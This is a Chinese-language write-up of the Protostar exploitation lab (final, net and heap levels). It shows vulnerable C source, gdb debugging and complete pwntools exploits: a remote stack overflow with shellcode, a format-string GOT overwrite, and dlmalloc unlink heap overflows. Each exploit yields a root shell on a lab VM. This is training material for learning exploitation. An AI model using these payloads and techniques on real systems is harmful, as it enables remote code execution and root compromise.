最后的Final系列，把这个系列的东西都综合起来了。 final 0 char *get_username() { char buffer[512]; char *q; int i; memset(buffer, 0, sizeof(buffer)); gets(buffer); /* Strip off trailing new line characters */ q = strchr(buffer, '\n'); if(q) *q = 0; q = strchr(buffer, '\r'); if(q) *q = 0; /* Convert to lower case */ for(i = 0; i < strlen(buffer); i++) { buffer[i] = toupper(buffer[i]); } /* Duplicate the string and return it */ return strdup(buffer); } 这个题目是结合了栈溢出和网络相关的知识，一道远程溢出的题目。很明显，接收buffer的时候没有对长度做检查，导致了溢出。先来看看溢出点在哪里。 ➜ net python ~/pattern.py create 600 [binary] ➜ net nc 192.168.37.159 2995 [binary] 通过core dump文件找找偏移量。 user@protostar:/opt/protostar/bin$ gdb -q ./final0 --core=/tmp/core.11.final0.11324 Reading symbols from /opt/protostar/bin/final0...done. warning: Can't read pathname for load map: Input/output error. Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done. (no debugging symbols found)...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done. (no debugging symbols found)...done. Loaded symbols for /lib/ld-linux.so.2 Core was generated by `/opt/protostar/bin/final0'. Program terminated with signal 11, Segmentation fault. #0 0x72413772 in ?? () ➜ net python ~/pattern.py offset 0x72413772 hex pattern decoded as: r7Ar 532 shellcode我们选择这个可以绕过toupper()的： shellcode = "\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08\xb1\x07" shellcode += "\x80\x03\x20\x43\xe0\xfa\x29\xc0\x88\x46\x07\x89\x46\x0c" shellcode += "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80" shellcode += "\x29\xc0\x40\xcd\x80\xe8\xd2\xff\xff\xff" shellcode += "\x0f\x42\x49\x4e\x0f\x53\x48" shellcode来自：https://www.exploit-db.com/exploits/13460/ 找一下返回地址: (gdb) x/10s $esp-536 0xbffffa48: "AA0AA1AA2AA3AA4........ 太长了多余的不贴了，写payload吧。 from pwn import * target = remote('192.168.37.159',2995) shellcode = "\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08\xb1\x07" shellcode += "\x80\x03\x20\x43\xe0\xfa\x29\xc0\x88\x46\x07\x89\x46\x0c" shellcode += "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80" shellcode += "\x29\xc0\x40\xcd\x80\xe8\xd2\xff\xff\xff" shellcode += "\x0f\x42\x49\x4e\x0f\x53\x48" nopcode = '\x90' * 20 ret_addr = 0xbffffa48 payload = nopcode + shellcode + 'A' * (532 - len(shellcode) - len(nopcode)) + p32(ret_addr) target.send(payload) target.interactive() 打一下试试： ➜ net python final0.py [+] Opening connection to 192.168.37.159 on port 2995: Done [*] Switching to interactive mode $ whoami root $ id uid=0(root) gid=0(root) groups=0(root) $ final 1 先上代码： #include "../common/common.c" #include <syslog.h> #define NAME "final1" #define UID 0 #define GID 0 #define PORT 2994 char username[128]; char hostname[64]; void logit(char *pw) { char buf[512]; snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw); syslog(LOG_USER|LOG_DEBUG, buf); } void trim(char *str) { char *q; q = strchr(str, '\r'); if(q) *q = 0; q = strchr(str, '\n'); if(q) *q = 0; } void parser() { char line[128]; printf("[final1] $ "); while(fgets(line, sizeof(line)-1, stdin)) { trim(line); if(strncmp(line, "username ", 9) == 0) { strcpy(username, line+9); } else if(strncmp(line, "login ", 6) == 0) { if(username[0] == 0) { printf("invalid protocol\n"); } else { logit(line + 6); printf("login failed\n"); } } printf("[final1] $ "); } } void getipport() { int l; struct sockaddr_in sin; l = sizeof(struct sockaddr_in); if(getpeername(0, &sin, &l) == -1) { err(1, "you don't exist"); } sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port)); } int main(int argc, char **argv, char **envp) { int fd; char *username; /* Run the process as a daemon */ background_process(NAME, UID, GID); /* Wait for socket activity and return */ fd = serve_forever(PORT); /* Set the client socket to STDIN, STDOUT, and STDERR */ set_io(fd); getipport(); parser(); } 这个题是用syslog输出的，如果仅仅是远程打的话看不到回显有点蛋疼。只能上去一边看syslog一边打。既然这里调用了syslog，我们就把syslog的地址改为我们shellcode的地址。先来看看syslog函数的地址是多少： user@protostar:/opt/protostar/bin$ objdump -R final1 | grep syslog 0804a11c R_386_JUMP_SLOT syslog 现在来确定一下偏移量。 payload = 'username AAAABBBB' + '%08x.' * 20 + '[%08x]\n' payload += 'login b\n' Login from 192.168.198.128:49884 as [AAAABBBB08049ee4.0804a2a0.0804a220.bffffbd6.b7fd7ff4.bffffa28.69676f4c.7266206e.31206d6f.312e3239.312e3836.312e3839.343a3832.34383839.20736120.4141415b.42424241.38302542.30252e78.252e7838.[2e783830]] with password [b] 还需要调整一下payload： payload = 'username xxxAAAAx' + '%08x.' * 16 + '[%08x]\n' payload += 'login b\n' Login from 192.168.198.128:49893 as [xxxAAAAx08049ee4.0804a2a0.0804a220.bffffbd6.b7fd7ff4.bffffa28.69676f4c.7266206e.31206d6f.312e3239.312e3836.312e3839.343a3832.33393839.20736120.7878785b.[41414141]] with password [b] 调整好了，现在的问题是把syslog的地址改为shellcode的地址。 payload = 'username xxx\x1c\xa1\x04\x08' + '\x1d\xa1\x04\x08' + '\x1e\xa1\x04\x08' + '\x1f\xa1\x04\x08' + '%164u%17$08n' + '%287u%18$08n' + '%260u%19$08n' + '%192u%20$08n' + '\n' 接下来为了触发shellcode，还需要确定何时发送shellcode。 payload = 'username xxx\x1c\xa1\x04\x08' + '\x1d\xa1\x04\x08' + '\x1e\xa1\x04\x08' + '\x1f\xa1\x04\x08' + '%164u%17$08n' + '%287u%18$08n' + '%260u%19$08n' + '%192u%20$08n' + '\n' payload += 'login ' + 'Z'*55 + '\n' payload += 'login ' + 'Y'*55 + '\n' target.send(payload) 然后丢到gdb里调一下，发现Y这个位置会出现在栈里，决定把这里替换为shellcode，地址是0xbffffbdc。 然后就可以写exp了： from pwn import * target = remote('192.168.198.129', 2994) nopcode = '\x90' * 12 shellcode = "\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08\xb1\x07" shellcode += "\x80\x03\x20\x43\xe0\xfa\x29\xc0\x88\x46\x07\x89\x46\x0c" shellcode += "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80" shellcode += "\x29\xc0\x40\xcd\x80\xe8\xd2\xff\xff\xff" shellcode += "\x0f\x42\x49\x4e\x0f\x53\x48" shellcode = nopcode + shellcode payload = 'username xxx\x1c\xa1\x04\x08' + '\x1d\xa1\x04\x08' + '\x1e\xa1\x04\x08' + '\x1f\xa1\x04\x08' + '%164u%17$08n' + '%287u%18$08n' + '%260u%19$08n' + '%192u%20$08n' + '\n' payload += 'login ' + 'Z'*55 + '\n' payload += 'login ' + shellcode + '\n' target.send(payload) target.interactive() target.close() 打一下看看结果： ➜ program python final1-exp.py [+] Opening connection to 192.168.198.129 on port 2994: Done [*] Switching to interactive mode [final1] $ [final1] $ login failed [final1] $ $ whoami root $ id uid=0(root) gid=0(root) groups=0(root) $ final 2 这个题是远程的堆溢出，有点蛋疼。 #include "../common/common.c" #include "../common/malloc.c" #define NAME "final2" #define UID 0 #define GID 0 #define PORT 2993 #define REQSZ 128 void check_path(char *buf) { char *start; char *p; int l; /* * Work out old software bug */ p = rindex(buf, '/'); l = strlen(p); if(p) { start = strstr(buf, "ROOT"); if(start) { while(*start != '/') start--; memmove(start, p, l); printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ? "yes" : "no", start - buf); } } } int get_requests(int fd) { char *buf; char *destroylist[256]; int dll; int i; dll = 0; while(1) { if(dll >= 255) break; buf = calloc(REQSZ, 1); if(read(fd, buf, REQSZ) != REQSZ) break; if(strncmp(buf, "FSRD", 4) != 0) break; check_path(buf + 4); dll++; } for(i = 0; i < dll; i++) { write(fd, "Process OK\n", strlen("Process OK\n")); free(destroylist[i]); } } int main(int argc, char **argv, char **envp) { int fd; char *username; /* Run the process as a daemon */ background_process(NAME, UID, GID); /* Wait for socket activity and return */ fd = serve_forever(PORT); /* Set the client socket to STDIN, STDOUT, and STDERR */ set_io(fd); get_requests(fd); } 分析下来，发现在查找/的时候，没有进行边界检查，出现了堆溢出。这里给出的源码和二进制文件有些出入，二进制中check_path函数没有调用printf函数，而且这里在46行左右少了一行代码，是destorylist[dll] = buf，对应后面的free函数。每次请求的时候，都会calloc一个128字节的空间，而且我们的请求长度必须满足128字节。这样一来，我们可以发送两个请求，这样会分配两个chunk，第一个请求的/放在最后，第二个请求增加ROOT字符串。大概是这个样子： payload = 'FSRD' + 'A'*123 + '/' payload += 'FSRDROOT' + 'B'*103 + '/' + '\xfc\xff\xff\xff'*2 + 'CCCC' + 'DDDD' 然后看一下core dump文件： (gdb) x/i $eip 0x804aaef <free+301>: mov %edx,0xc(%eax) (gdb) i r eax 0x43434343 1128481603 ecx 0x804c2d6 134529750 edx 0x44444444 1145324612 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff7e0 0xbffff7e0 ebp 0xbffff828 0xbffff828 esi 0x0 0 edi 0x0 0 eip 0x804aaef 0x804aaef <free+301> eflags 0x10246 [ PF ZF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/100x 0x0804e000 0x804e000: 0x00000000 0x00000089 0x44525346 0x41414141 0x804e010: 0x41414141 0x41414141 0x41414141 0x41414141 0x804e020: 0x41414141 0x41414141 0x41414141 0x41414141 0x804e030: 0x41414141 0x41414141 0x41414141 0x41414141 0x804e040: 0x41414141 0x41414141 0x41414141 0x41414141 0x804e050: 0x41414141 0x41414141 0x41414141 0x41414141 0x804e060: 0x41414141 0x41414141 0x41414141 0x41414141 0x804e070: 0x41414141 0x41414141 0x41414141 0x41414141 0x804e080: 0x41414141 0x2f414141 0xfffffffc 0xfffffffc 0x804e090: 0x43434343 0x44444444 0x42424242 0x42424242 0x804e0a0: 0x42424242 0x42424242 0x42424242 0x42424242 0x804e0b0: 0x42424242 0x42424242 0x42424242 0x42424242 0x804e0c0: 0x42424242 0x42424242 0x42424242 0x42424242 0x804e0d0: 0x42424242 0x42424242 0x42424242 0x42424242 0x804e0e0: 0x42424242 0x42424242 0x42424242 0x42424242 0x804e0f0: 0x42424242 0x42424242 0x42424242 0x2f424242 0x804e100: 0xfffffffc 0xfffffffc 0x43434343 0x44444444 基本上已经可以打了，然后是加入shellcode和真正需要修改的地址。获取write函数的地址： user@protostar:/opt/protostar/bin$ objdump -R final2 | grep write 0804d41c R_386_JUMP_SLOT write 0804d468 R_386_JUMP_SLOT fwrite 还有个fwrite，不管他，我们选择覆盖掉write在GOT中的地址。然后shellcode注入到0x0804e00c这个位置，多一点也没关系，反正shellcode前面填充了nop。 构造payload： from pwn import * target = remote('192.168.198.129', 2993) nopcode = '\x90' * 12 shellcode = "\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08\xb1\x07" shellcode += "\x80\x03\x20\x43\xe0\xfa\x29\xc0\x88\x46\x07\x89\x46\x0c" shellcode += "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80" shellcode += "\x29\xc0\x40\xcd\x80\xe8\xd2\xff\xff\xff" shellcode += "\x0f\x42\x49\x4e\x0f\x53\x48" shellcode = nopcode + shellcode writeAddr = 0x0804d41c shellcodeAddr = 0x0804e00c payload = 'FSRD' + shellcode + 'A'*(123-len(shellcode)) + '/' payload += 'FSRDROOT' + 'B'*103 + '/' + '\xfc\xff\xff\xff'*2 + p32(writeAddr-0xc) + p32(shellcodeAddr) target.send(payload) target.interactive() target.close() 跑起来看看效果： ➜ program python final2-exp.py [+] Opening connection to 192.168.198.129 on port 2993: Done [*] Switching to interactive mode $ id Process OK $ id uid=0(root) gid=0(root) groups=0(root) $ whoami root $ 至此protostar系列已经通关了。
这个系列开始涉及网络部分了，感觉这部分还是很简单的。 net 0 先来看源码： #include "../common/common.c" #define NAME "net0" #define UID 999 #define GID 999 #define PORT 2999 void run() { unsigned int i; unsigned int wanted; wanted = random(); printf("Please send '%d' as a little endian 32bit int\n", wanted); if(fread(&i, sizeof(i), 1, stdin) == NULL) { errx(1, ":(\n"); } if(i == wanted) { printf("Thank you sir/madam\n"); } else { printf("I'm sorry, you sent %d instead\n", i); } } int main(int argc, char **argv, char **envp) { int fd; char *username; /* Run the process as a daemon */ background_process(NAME, UID, GID); /* Wait for socket activity and return */ fd = serve_forever(PORT); /* Set the client socket to STDIN, STDOUT, and STDERR */ set_io(fd); /* Don't do this :> */ srandom(time(NULL)); run(); } 主函数中的大部分内容其实不需要关注的，主要来看run()函数，这里面随机生成了一个值，并且接受一个输入值，判断两个值是否相等。来，我们祭出pwntools。 from pwn import * target = remote('192.168.37.159',2999) temp = target.recv() print temp temp = temp[temp.find("'"):] temp = temp[1:] temp = temp[:temp.find("'")] print temp target.send(p32(int(temp,10))) print target.recv() target.close() 结果如下： ➜ net python net0.py [+] Opening connection to 192.168.37.159 on port 2999: Done Please send '577360076' as a little endian 32bit int 577360076 Thank you sir/madam [*] Closed connection to 192.168.37.159 port 2999 net 1 这里只贴出关键代码吧。 void run() { char buf[12]; char fub[12]; char *q; unsigned int wanted; wanted = random(); sprintf(fub, "%d", wanted); if(write(0, &wanted, sizeof(wanted)) != sizeof(wanted)) { errx(1, ":(\n"); } if(fgets(buf, sizeof(buf)-1, stdin) == NULL) { errx(1, ":(\n"); } q = strchr(buf, '\r'); if(q) *q = 0; q = strchr(buf, '\n'); if(q) *q = 0; if(strcmp(fub, buf) == 0) { printf("you correctly sent the data\n"); } else { printf("you didn't send the data properly\n"); } } 这个题还是要让我们发送过去一个和随机生成的数值一样的东西。这次把接收到的东西unpack再发过去就可以了，代码如下： from pwn import * target = remote('192.168.37.159',2998) temp = target.recv() print temp payload = u32(temp) target.send(str(payload)+'\n') print target.recv() target.close() 跑一下： ➜ net python net1.py [+] Opening connection to 192.168.37.159 on port 2998: Done \xa3\x93\xbfq you correctly sent the data [*] Closed connection to 192.168.37.159 port 2998 net 2 这次是把四个数加起来了，贴上关键代码： void run() { unsigned int quad[4]; int i; unsigned int result, wanted; result = 0; for(i = 0; i < 4; i++) { quad[i] = random(); result += quad[i]; if(write(0, &(quad[i]), sizeof(result)) != sizeof(result)) { errx(1, ":(\n"); } } if(read(0, &wanted, sizeof(result)) != sizeof(result)) { errx(1, ":<\n"); } if(result == wanted) { printf("you added them correctly\n"); } else { printf("sorry, try again. invalid\n"); } } 直接写payload吧： from pwn import * target = remote('192.168.37.159',2997) sum = 0 for i in range(4): t = target.recv(4) sum += u32(t) print "sum=", sum target.send(p64(sum)) print target.recv() target.close() 跑起来看结果： ➜ net python net2.py [+] Opening connection to 192.168.37.159 on port 2997: Done sum= 3394642374 you added them correctly [*] Closed connection to 192.168.37.159 port 2997
感觉是比较难的一部分了，毕竟堆溢出平常接触的少。 heap 0 源码： #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct data { char name[64]; }; struct fp { int (*fp)(); }; void winner() { printf("level passed\n"); } void nowinner() { printf("level has not been passed\n"); } int main(int argc, char **argv) { struct data *d; struct fp *f; d = malloc(sizeof(struct data)); f = malloc(sizeof(struct fp)); f->fp = nowinner; printf("data is at %p, fp is at %p\n", d, f); strcpy(d->name, argv[1]); f->fp(); } 先找溢出点： user@protostar:/opt/protostar/bin$ gdb ./heap0 Reading symbols from /opt/protostar/bin/heap0...done. (gdb) r `python /home/user/pattern.py create 150` Starting program: /opt/protostar/bin/heap0 `python /home/user/pattern.py create 150` data is at 0x804a008, fp is at 0x804a050 Program received signal SIGSEGV, Segmentation fault. 0x41346341 in ?? () user@protostar:/opt/protostar/bin$ python /home/user/pattern.py offset 0x41346341 hex pattern decoded as: Ac4A 72 找到winner()函数的地址： user@protostar:/opt/protostar/bin$ objdump -d heap0 | grep win 08048464 <winner>: 构造payload: user@protostar:/opt/protostar/bin$ ./heap0 `python -c "print 'A'*72 + '\x64\x84\x04\x08' "` data is at 0x804a008, fp is at 0x804a050 level passed 不知道是不是正解。 heap 1 先贴代码： #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct internet { int priority; char *name; }; void winner() { printf("and we have a winner @ %d\n", time(NULL)); } int main(int argc, char **argv) { struct internet *i1, *i2, *i3; i1 = malloc(sizeof(struct internet)); i1->priority = 1; i1->name = malloc(8); i2 = malloc(sizeof(struct internet)); i2->priority = 2; i2->name = malloc(8); strcpy(i1->name, argv[1]); strcpy(i2->name, argv[2]); printf("and that's a wrap folks!\n"); } 出现问题的地方很容易找到，就是其中的两个strcpy的地方，但是这题想执行winner()的话，还是需要修改GOT。先注意一点，printf()会被优化称puts()，所以我们实际上是修改puts()在GOT中的条目，让其调用puts()的时候调用winner()。这里就需要使用strcpy()的方式来修改GOT，让strcpy()把winner()函数的地址复制到GOT表中对应的位置。 先来找这几个地址： user@protostar:/opt/protostar/bin$ objdump -TR heap1 heap1: file format elf32-i386 DYNAMIC SYMBOL TABLE: 00000000 w D *UND* 00000000 __gmon_start__ 00000000 DF *UND* 00000000 GLIBC_2.0 __libc_start_main 00000000 DF *UND* 00000000 GLIBC_2.0 strcpy 00000000 DF *UND* 00000000 GLIBC_2.0 printf 00000000 DF *UND* 00000000 GLIBC_2.0 time 00000000 DF *UND* 00000000 GLIBC_2.0 malloc 00000000 DF *UND* 00000000 GLIBC_2.0 puts 0804862c g DO .rodata 00000004 Base _IO_stdin_used DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0804974c R_386_GLOB_DAT __gmon_start__ 0804975c R_386_JUMP_SLOT __gmon_start__ 08049760 R_386_JUMP_SLOT __libc_start_main 08049764 R_386_JUMP_SLOT strcpy 08049768 R_386_JUMP_SLOT printf 0804976c R_386_JUMP_SLOT time 08049770 R_386_JUMP_SLOT malloc 08049774 R_386_JUMP_SLOT puts 找到了puts()的地址为0x08049774，等下就要把这个地址里的内容覆盖掉。下面找一下winner()的地址： user@protostar:/opt/protostar/bin$ objdump -d heap1 | grep win 08048494 <winner>: winner()函数的地址为0x08048494，下面我们就需要把0x08049774中的内容替换为0x08048494。先确定这两个部分在堆中的位置。 user@protostar:/opt/protostar/bin$ ltrace ./heap1 AAAA BBBB __libc_start_main(0x80484b9, 3, 0xbffff894, 0x8048580, 0x8048570 <unfinished ...> malloc(8) = 0x0804a008 malloc(8) = 0x0804a018 malloc(8) = 0x0804a028 malloc(8) = 0x0804a038 strcpy(0x0804a018, "AAAA") = 0x0804a018 strcpy(0x0804a038, "BBBB") = 0x0804a038 puts("and that's a wrap folks!"and that's a wrap folks! ) = 25 +++ exited (status 25) +++ 可以看到大概是从0x0804a000开始的，我们在执行完两次strcpy的时候看一看内存中的情况。 user@protostar:/opt/protostar/bin$ gdb -q ./heap1 Reading symbols from /opt/protostar/bin/heap1...done. (gdb) b *main+161 Breakpoint 1 at 0x804855a: file heap1/heap1.c, line 34. (gdb) r AAAA BBBB Starting program: /opt/protostar/bin/heap1 AAAA BBBB Breakpoint 1, main (argc=3, argv=0xbffff854) at heap1/heap1.c:34 34 heap1/heap1.c: No such file or directory. in heap1/heap1.c (gdb) x/32x 0x0804a000 0x804a000: 0x00000000 0x00000011 0x00000001 0x0804a018 0x804a010: 0x00000000 0x00000011 0x41414141 0x00000000 0x804a020: 0x00000000 0x00000011 0x00000002 0x0804a038 0x804a030: 0x00000000 0x00000011 0x42424242 0x00000000 0x804a040: 0x00000000 0x00020fc1 0x00000000 0x00000000 0x804a050: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a070: 0x00000000 0x00000000 0x00000000 0x00000000 仔细观察一下，发现两个字符串被复制到了0x0804a018和0x0804a038的位置，然而复制到哪里也是在堆中标明的(看看0x0804a00c和0x0804a02c中的内容)，现在我们的目的是把0x0804a02c的内容改为0x08049774，让strcpy向这个地址中复制内容，而复制的内容则是由我们输入的winner地址，于是可以构造出payload： 第一个参数：| junk code * 20 | p32(0x08049774) | 第二个参数：| 0x08048494 | 最终payload如下： user@protostar:/opt/protostar/bin$ ./heap1 `python -c "print 'A'*20 + '\x74\x97\x04\x08'"` `python -c "print '\x94\x84\x04\x08'"` and we have a winner @ 1438772753 heap 2 先上代码： #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> struct auth { char name[32]; int auth; }; struct auth *auth; char *service; int main(int argc, char **argv) { char line[128]; while(1) { printf("[ auth = %p, service = %p ]\n", auth, service); if(fgets(line, sizeof(line), stdin) == NULL) break; if(strncmp(line, "auth ", 5) == 0) { auth = malloc(sizeof(auth)); memset(auth, 0, sizeof(auth)); if(strlen(line + 5) < 31) { strcpy(auth->name, line + 5); } } if(strncmp(line, "reset", 5) == 0) { free(auth); } if(strncmp(line, "service", 6) == 0) { service = strdup(line + 7); } if(strncmp(line, "login", 5) == 0) { if(auth->auth) { printf("you have logged in already!\n"); } else { printf("please enter your password\n"); } } } } 这题一开始发现了非预期漏洞： user@protostar:/opt/protostar/bin$ ./heap2 [ auth = (nil), service = (nil) ] auth 123 [ auth = 0x804c008, service = (nil) ] service 12341234123412341234123412341234 [ auth = 0x804c008, service = 0x804c018 ] login you have logged in already! [ auth = 0x804c008, service = 0x804c018 ] 具体为啥，调一下就知道了，主要是这句auth = malloc(sizeof(auth));出问题了，变量重名导致的。 还是不明白出题人的意图。 heap 3 这题比较复杂，涉及到free()的原理，先看源码： #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> void winner() { printf("that wasn't too bad now, was it? @ %d\n", time(NULL)); } int main(int argc, char **argv) { char *a, *b, *c; a = malloc(32); b = malloc(32); c = malloc(32); strcpy(a, argv[1]); strcpy(b, argv[2]); strcpy(c, argv[3]); free(c); free(b); free(a); printf("dynamite failed?\n"); } 这个题涉及到了free时候的unlink导致的溢出问题，当然这个题为了降低难度静态编译了libc库，去掉了保护措施。推荐两篇文章： http://www.phrack.org/archives/issues/57/8.txt http://gee.cs.oswego.edu/dl/html/malloc.html 第一篇是关于堆溢出的文章，第二篇是关于dlmalloc机制的，是dlmalloc作者自己写的。 先来看看winner()函数和puts()的地址，为后面做准备。 user@protostar:/opt/protostar/bin$ objdump -d heap3 | grep win 08048864 <winner>: user@protostar:/opt/protostar/bin$ objdump -R heap3 heap3: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0804b0e4 R_386_GLOB_DAT __gmon_start__ 0804b140 R_386_COPY stderr 0804b0f4 R_386_JUMP_SLOT __errno_location 0804b0f8 R_386_JUMP_SLOT mmap 0804b0fc R_386_JUMP_SLOT sysconf 0804b100 R_386_JUMP_SLOT __gmon_start__ 0804b104 R_386_JUMP_SLOT mremap 0804b108 R_386_JUMP_SLOT memset 0804b10c R_386_JUMP_SLOT __libc_start_main 0804b110 R_386_JUMP_SLOT sbrk 0804b114 R_386_JUMP_SLOT memcpy 0804b118 R_386_JUMP_SLOT strcpy 0804b11c R_386_JUMP_SLOT printf 0804b120 R_386_JUMP_SLOT fprintf 0804b124 R_386_JUMP_SLOT time 0804b128 R_386_JUMP_SLOT puts 0804b12c R_386_JUMP_SLOT munmap 我们丢到gdb里调试起来，看几组堆的情况。三个堆a b c在内存中的地址分别是： a is at 0x804c008 b is at 0x804c030 c is at 0x804c058 这个只是user data开始的地址，没有算meta data部分。 在第一次free之前： (gdb) x/40x 0x0804c000 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141 0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029 0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c050: 0x00000000 0x00000029 0x43434343 0x43434343 0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000 在free c之后，free b之前，注意0x0804c058这个地址被清零了。 (gdb) x/40x 0x0804c000 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141 0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029 0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343 0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000 在free b之后，free a之前，注意0x0804c030被改写成为了下一个空闲chunk的地址，即C堆开始的地方。 (gdb) x/40x 0x0804c000 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141 0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029 0x804c030: 0x0804c050 0x42424242 0x42424242 0x42424242 0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343 0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000 在free a之后，注意0x0804c008处的内容被改为了下一个空闲chunk的地址，即b堆开始的地方。 (gdb) x/40x 0x0804c000 0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141 0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141 0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029 0x804c030: 0x0804c050 0x42424242 0x42424242 0x42424242 0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343 0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000 初步构造payload： user@protostar:/opt/protostar/bin$ ./heap3 A `python -c "print 'B'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + 'DDDD' + 'EEEE' "` F 在gdb里面看情况: user@protostar:/opt/protostar/bin$ gdb -q ./heap3 Reading symbols from /opt/protostar/bin/heap3...done. (gdb) run A `python -c "print 'B'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + 'DDDD' + 'EEEE' "` F Starting program: /opt/protostar/bin/heap3 A `python -c "print 'B'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + 'DDDD' + 'EEEE' "` F Program received signal SIGSEGV, Segmentation fault. 0x080498fd in free (mem=0x804c058) at common/malloc.c:3638 3638 common/malloc.c: No such file or directory. in common/malloc.c (gdb) x/i $eip 0x80498fd <free+217>: mov DWORD PTR [eax+0xc],edx (gdb) i r eax 0x44444444 1145324612 ecx 0x0 0 edx 0x45454545 1162167621 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff6f0 0xbffff6f0 ebp 0xbffff738 0xbffff738 esi 0x0 0 edi 0x0 0 eip 0x80498fd 0x80498fd <free+217> eflags 0x210202 [ IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 可以看到，在执行mov DOWRD PTR [eax+0xc], edx的时候出错了，也就是要把edx的内容写入[eax+0xc]的位置，而此时EAX和EDX分别是我们可控的部分DDDD和EEEE，这样一来就能更改GOT，从而把puts函数改为winner函数。 按照这个思路构造一下payload： (gdb) run A `python -c "print 'B'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08' "` F Starting program: /opt/protostar/bin/heap3 A `python -c "print 'B'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08' "` F Program received signal SIGSEGV, Segmentation fault. 0x08049906 in free (mem=0x804c058) at common/malloc.c:3638 3638 in common/malloc.c (gdb) x/i $eip 0x8049906 <free+226>: mov DWORD PTR [eax+0x8],edx (gdb) i r eax 0x8048864 134514788 ecx 0x0 0 edx 0x804b11c 134525212 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff6f0 0xbffff6f0 ebp 0xbffff738 0xbffff738 esi 0x0 0 edi 0x0 0 eip 0x8049906 0x8049906 <free+226> eflags 0x210202 [ IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 还需要一个shellcode跳过去，因为.text段是只读的啊。继续修改payload： (gdb) run `python -c "print '\x90'*10 + '\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'A'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + '\x1c\xb1\x04\x08' + '\x04\xc0\x04\x08' "` F The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /opt/protostar/bin/heap3 `python -c "print '\x90'*10 + '\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'A'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + '\x1c\xb1\x04\x08' + '\x04\xc0\x04\x08' "` F that wasn't too bad now, was it? @ 1438801558 不明白的话这个地方下个断点看看就知道了。
